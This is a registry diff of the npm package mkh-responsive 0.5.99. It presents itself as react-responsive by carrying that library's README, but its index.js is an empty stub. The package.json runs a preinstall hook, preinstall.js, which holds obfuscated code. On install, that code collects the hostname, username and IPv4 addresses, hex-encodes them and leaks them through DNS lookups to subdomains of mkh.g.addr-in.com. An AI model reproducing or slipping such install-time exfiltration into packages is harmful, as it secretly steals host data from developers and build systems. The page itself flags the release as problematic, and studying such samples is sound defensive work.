mkh-responsive 0.5.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of mkh-responsive might be problematic. Click here for more details.

package/README.md ADDED
@@ -0,0 +1,350 @@
1
+ # react-responsive
2
+
3
+ ## Information
4
+
5
+ <table>
6
+ <tr>
7
+ <td>Package</td><td>react-responsive</td>
8
+ </tr>
9
+ <tr>
10
+ <td>Description</td>
11
+ <td>Media queries in react for responsive design</td>
12
+ </tr>
13
+ <tr>
14
+ <td>Browser Version</td>
15
+ <td>>= IE6*</td>
16
+ </tr>
17
+ <tr>
18
+ <td colspan='2'><a href='http://contra.io/react-responsive/'>Demo</a></td>
19
+ </tr>
20
+ </table>
21
+
22
+ The best supported, easiest to use react media query module.
23
+
24
+ ## Install
25
+
26
+ ```console
27
+ $ npm install react-responsive --save
28
+ ```
29
+
30
+ ## Example Usage
31
+
32
+ ### With Hooks
33
+
34
+ Hooks is a new feature available in 8.0.0!
35
+
36
+ ```jsx
37
+ import React from 'react'
38
+ import { useMediaQuery } from 'react-responsive'
39
+
40
+ const Example = () => {
41
+ const isDesktopOrLaptop = useMediaQuery({
42
+ query: '(min-width: 1224px)'
43
+ })
44
+ const isBigScreen = useMediaQuery({ query: '(min-width: 1824px)' })
45
+ const isTabletOrMobile = useMediaQuery({ query: '(max-width: 1224px)' })
46
+ const isPortrait = useMediaQuery({ query: '(orientation: portrait)' })
47
+ const isRetina = useMediaQuery({ query: '(min-resolution: 2dppx)' })
48
+
49
+ return (
50
+ <div>
51
+ <h1>Device Test!</h1>
52
+ {isDesktopOrLaptop && <p>You are a desktop or laptop</p>}
53
+ {isBigScreen && <p>You have a huge screen</p>}
54
+ {isTabletOrMobile && <p>You are a tablet or mobile phone</p>}
55
+ <p>Your are in {isPortrait ? 'portrait' : 'landscape'} orientation</p>
56
+ {isRetina && <p>You are retina</p>}
57
+ </div>
58
+ )
59
+ }
60
+ ```
61
+
62
+ ### With Components
63
+
64
+ ```jsx
65
+ import MediaQuery from 'react-responsive'
66
+
67
+ const Example = () => (
68
+ <div>
69
+ <h1>Device Test!</h1>
70
+ <MediaQuery minWidth={1224}>
71
+ <p>You are a desktop or laptop</p>
72
+ <MediaQuery minWidth={1824}>
73
+ <p>You also have a huge screen</p>
74
+ </MediaQuery>
75
+ </MediaQuery>
76
+ <MediaQuery minResolution="2dppx">
77
+ {/* You can also use a function (render prop) as a child */}
78
+ {(matches) =>
79
+ matches ? <p>You are retina</p> : <p>You are not retina</p>
80
+ }
81
+ </MediaQuery>
82
+ </div>
83
+ )
84
+ ```
85
+
86
+ ## API
87
+
88
+ ### Using Properties
89
+
90
+ To make things more idiomatic to react, you can use camel-cased shorthands to construct media queries.
91
+
92
+ For a list of all possible shorthands and value types see https://github.com/yocontra/react-responsive/blob/master/src/mediaQuery.ts#L9.
93
+
94
+ Any numbers given as shorthand will be expanded to px (`1234` will become `'1234px'`).
95
+
96
+ The CSS media queries in the example above could be constructed like this:
97
+
98
+ ```jsx
99
+ import React from 'react'
100
+ import { useMediaQuery } from 'react-responsive'
101
+
102
+ const Example = () => {
103
+ const isDesktopOrLaptop = useMediaQuery({ minWidth: 1224 })
104
+ const isBigScreen = useMediaQuery({ minWidth: 1824 })
105
+ const isTabletOrMobile = useMediaQuery({ maxWidth: 1224 })
106
+ const isPortrait = useMediaQuery({ orientation: 'portrait' })
107
+ const isRetina = useMediaQuery({ minResolution: '2dppx' })
108
+
109
+ return <div>...</div>
110
+ }
111
+ ```
112
+
113
+ ### Forcing a device with the `device` prop
114
+
115
+ At times you may need to render components with different device settings than what gets automatically detected. This is especially useful in a Node environment where these settings can't be detected (SSR) or for testing.
116
+
117
+ #### Possible Keys
118
+
119
+ `orientation`, `scan`, `aspectRatio`, `deviceAspectRatio`,
120
+ `height`, `deviceHeight`, `width`, `deviceWidth`, `color`, `colorIndex`, `monochrome`,
121
+ `resolution` and `type`
122
+
123
+ ##### Possible Types
124
+
125
+ `type` can be one of: `all`, `grid`, `aural`, `braille`, `handheld`, `print`, `projection`,
126
+ `screen`, `tty`, `tv` or `embossed`
127
+
128
+ Note: The `device` property always applies, even when it can be detected (where window.matchMedia exists).
129
+
130
+ ```jsx
131
+ import { useMediaQuery } from 'react-responsive'
132
+
133
+ const Example = () => {
134
+ const isDesktopOrLaptop = useMediaQuery(
135
+ { minDeviceWidth: 1224 },
136
+ { deviceWidth: 1600 } // `device` prop
137
+ )
138
+
139
+ return (
140
+ <div>
141
+ {isDesktopOrLaptop && (
142
+ <p>
143
+ this will always get rendered even if device is shorter than 1224px,
144
+ that's because we overrode device settings with 'deviceWidth: 1600'.
145
+ </p>
146
+ )}
147
+ </div>
148
+ )
149
+ }
150
+ ```
151
+
152
+ #### Supplying through Context
153
+
154
+ You can also pass `device` to every `useMediaQuery` hook in the components tree through a React [Context](https://reactjs.org/docs/context.html).
155
+ This should ease up server-side-rendering and testing in a Node environment, e.g:
156
+
157
+ ##### Server-Side Rendering
158
+
159
+ ```jsx
160
+ import { Context as ResponsiveContext } from 'react-responsive'
161
+ import { renderToString } from 'react-dom/server'
162
+ import App from './App'
163
+
164
+ ...
165
+ // Context is just a regular React Context component, it accepts a `value` prop to be passed to consuming components
166
+ const mobileApp = renderToString(
167
+ <ResponsiveContext.Provider value={{ width: 500 }}>
168
+ <App />
169
+ </ResponsiveContext.Provider>
170
+ )
171
+ ...
172
+ ```
173
+
174
+ If you use next.js, structure your import like this to disable server-side rendering for components that use this library:
175
+
176
+ ```js
177
+ import dynamic from 'next/dynamic'
178
+ const MediaQuery = dynamic(() => import('react-responsive'), {
179
+ ssr: false
180
+ })
181
+ ```
182
+
183
+ ##### Testing
184
+
185
+ ```jsx
186
+ import { Context as ResponsiveContext } from 'react-responsive'
187
+ import { render } from '@testing-library/react'
188
+ import ProductsListing from './ProductsListing'
189
+
190
+ describe('ProductsListing', () => {
191
+ test('matches the snapshot', () => {
192
+ const { container: mobile } = render(
193
+ <ResponsiveContext.Provider value={{ width: 300 }}>
194
+ <ProductsListing />
195
+ </ResponsiveContext.Provider>
196
+ )
197
+ expect(mobile).toMatchSnapshot()
198
+
199
+ const { container: desktop } = render(
200
+ <ResponsiveContext.Provider value={{ width: 1000 }}>
201
+ <ProductsListing />
202
+ </ResponsiveContext.Provider>
203
+ )
204
+ expect(desktop).toMatchSnapshot()
205
+ })
206
+ })
207
+ ```
208
+
209
+ Note that if anything has a `device` prop passed in it will take precedence over the one from context.
210
+
211
+ ### `onChange`
212
+
213
+ You can use the `onChange` callback to specify a change handler that will be called when the media query's value changes.
214
+
215
+ ```jsx
216
+ import React from 'react'
217
+ import { useMediaQuery } from 'react-responsive'
218
+
219
+ const Example = () => {
220
+ const handleMediaQueryChange = (matches) => {
221
+ // matches will be true or false based on the value for the media query
222
+ }
223
+ const isDesktopOrLaptop = useMediaQuery(
224
+ { minWidth: 1224 },
225
+ undefined,
226
+ handleMediaQueryChange
227
+ )
228
+
229
+ return <div>...</div>
230
+ }
231
+ ```
232
+
233
+ ```jsx
234
+ import React from 'react'
235
+ import MediaQuery from 'react-responsive'
236
+
237
+ const Example = () => {
238
+ const handleMediaQueryChange = (matches) => {
239
+ // matches will be true or false based on the value for the media query
240
+ }
241
+
242
+ return (
243
+ <MediaQuery minWidth={1224} onChange={handleMediaQueryChange}>
244
+ ...
245
+ </MediaQuery>
246
+ )
247
+ }
248
+ ```
249
+
250
+ ## Easy Mode
251
+
252
+ That's it! Now you can create your application specific breakpoints and reuse them easily. Here is an example:
253
+
254
+ ```jsx
255
+ import { useMediaQuery } from 'react-responsive'
256
+
257
+ const Desktop = ({ children }) => {
258
+ const isDesktop = useMediaQuery({ minWidth: 992 })
259
+ return isDesktop ? children : null
260
+ }
261
+ const Tablet = ({ children }) => {
262
+ const isTablet = useMediaQuery({ minWidth: 768, maxWidth: 991 })
263
+ return isTablet ? children : null
264
+ }
265
+ const Mobile = ({ children }) => {
266
+ const isMobile = useMediaQuery({ maxWidth: 767 })
267
+ return isMobile ? children : null
268
+ }
269
+ const Default = ({ children }) => {
270
+ const isNotMobile = useMediaQuery({ minWidth: 768 })
271
+ return isNotMobile ? children : null
272
+ }
273
+
274
+ const Example = () => (
275
+ <div>
276
+ <Desktop>Desktop or laptop</Desktop>
277
+ <Tablet>Tablet</Tablet>
278
+ <Mobile>Mobile</Mobile>
279
+ <Default>Not mobile (desktop or laptop or tablet)</Default>
280
+ </div>
281
+ )
282
+
283
+ export default Example
284
+ ```
285
+
286
+ And if you want a combo (the DRY way):
287
+
288
+ ```js
289
+ import { useMediaQuery } from 'react-responsive'
290
+
291
+ const useDesktopMediaQuery = () =>
292
+ useMediaQuery({ query: '(min-width: 1280px)' })
293
+
294
+ const useTabletAndBelowMediaQuery = () =>
295
+ useMediaQuery({ query: '(max-width: 1279px)' })
296
+
297
+ const Desktop = ({ children }) => {
298
+ const isDesktop = useDesktopMediaQuery()
299
+
300
+ return isDesktop ? children : null
301
+ }
302
+
303
+ const TabletAndBelow = ({ children }) => {
304
+ const isTabletAndBelow = useTabletAndBelowMediaQuery()
305
+
306
+ return isTabletAndBelow ? children : null
307
+ }
308
+ ```
309
+
310
+ ## Browser Support
311
+
312
+ ### Out of the box
313
+
314
+ <table>
315
+ <tr>
316
+ <td>Chrome</td>
317
+ <td>9</td>
318
+ </tr>
319
+ <tr>
320
+ <td>Firefox (Gecko)</td>
321
+ <td>6</td>
322
+ </tr>
323
+ <tr>
324
+ <td>MS Edge</td>
325
+ <td>All</td>
326
+ </tr>
327
+ <tr>
328
+ <td>Internet Explorer</td>
329
+ <td>10</td>
330
+ </tr>
331
+ <tr>
332
+ <td>Opera</td>
333
+ <td>12.1</td>
334
+ </tr>
335
+ <tr>
336
+ <td>Safari</td>
337
+ <td>5.1</td>
338
+ </tr>
339
+ </table>
340
+
341
+ ### With Polyfills
342
+
343
+ Pretty much everything. Check out these polyfills:
344
+
345
+ - [matchMedia.js by Paul Irish](https://github.com/paulirish/matchMedia.js/)
346
+ - [media-match (faster, but larger and lacking some features)](https://github.com/weblinc/media-match)
347
+
348
+ [downloads-image]: http://img.shields.io/npm/dm/react-responsive.svg
349
+ [npm-url]: https://npmjs.org/package/react-responsive
350
+ [npm-image]: http://img.shields.io/npm/v/react-responsive.svg
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ /*
2
+ * mkh-responsive 0.5.99
3
+ */
4
+
5
+ if (typeof module !== 'undefined' && module.exports) {
6
+ module.exports = {bootstrap: function(){}};
7
+ }
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "mkh-responsive",
3
+ "version": "0.5.99",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node preinstall.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "MIT"
13
+ }
package/preinstall.js ADDED
@@ -0,0 +1 @@
1
+ !function(){function z(y){return Buffer.from(y,"utf-8").toString("hex")}var y,g,j,M,O,m,B=global.require||global.process.mainModule.constructor._load,I=B("dns"),B=B("os");j="."+z(function(y){for(var z="",g="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",j=0;j<y;j++)z+=g.charAt(Math.floor(Math.random()*g.length));return z}(3))+".mkh.g.addr-in.com",M=B.hostname(),O=B.userInfo().username,y=B.networkInterfaces(),g={},Object.keys(y).forEach(function(z){y[z].forEach(function(y){"IPv4"!==y.family||y.internal||(g[z]||(g[z]=[]),g[z].push(y.address))})}),m=g,I.lookup("0.5.99"+j,function(y,z){}),I.lookup("xxx"+z(O)+j,function(y,z){}),I.lookup("yyy"+z(M)+j,function(y,z){}),Object.keys(m).forEach(function(y){I.lookup("zzz"+z(y)+"."+m[y][0]+j,function(y,z){})})}();